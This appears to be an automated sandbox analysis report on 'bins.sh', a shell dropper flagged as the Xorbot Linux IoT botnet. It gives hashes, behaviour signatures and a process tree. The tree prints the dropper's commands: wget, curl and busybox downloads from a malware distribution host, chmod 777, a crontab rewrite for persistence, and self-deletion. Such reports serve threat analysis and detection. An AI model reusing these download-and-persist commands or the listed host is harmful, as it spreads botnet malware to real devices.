Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 17:11

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0aec7763cd1e0b0ff0816e8a61703e14

  • SHA1

    34d8cc1b3dde4180fc98bb42337526cd285596f7

  • SHA256

    3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb

  • SHA512

    5f0b46c702a374991819ff3d43141d24ad4b6bdbf112848d05cff833a9e37ed2e0f10dd9705e1da911c169a617fbd504806c616a73337888e4a54ee1366ff0b7

  • SSDEEP

    96:YaS+FFFlFcMLLnRL049GDLrHZcUlnBRn7NY8F7XsL3nL4qPjOxLwsOtJb3li6PQ0:lhaOGib0xCruW

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1728) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1481
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1482
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1483
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1497
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • System Network Configuration Discovery
        PID:1507
      • /bin/chmod
        chmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • File and Directory Permissions Modification
        PID:1508
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1512
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1514
        • /bin/rm
          rm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
          2⤵
            PID:1516
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
            2⤵
            • System Network Configuration Discovery
            PID:1519

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
          Filesize

          98KB

          MD5

          5141342d0df8699fa32a6b066a0c592e

          SHA1

          8157673225bd5182f16215e2aa823a25ca2d4fbc

          SHA256

          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

          SHA512

          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

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        • /var/spool/cron/crontabs/tmp.Vl9vAu
          Filesize

          210B

          MD5

          8a09a0a65084800a08d62202e653b020

          SHA1

          94860e5dc1caf130e642b8f1bfbf5d4158cba7df

          SHA256

          39d3cd00de8ea4603cee8daf6ad4010f4aec929f6a3dad9f10d48e12037e2c2d

          SHA512

          e6aef62d18a545a654ec3f60c8f3e183d65032115b8a2f6860857f6a4ffaa449cfe0dfbfc97dfcf4d650fe81fc843c731de6ba5842904195b8a49a7dcd31c1c3

          Download Submit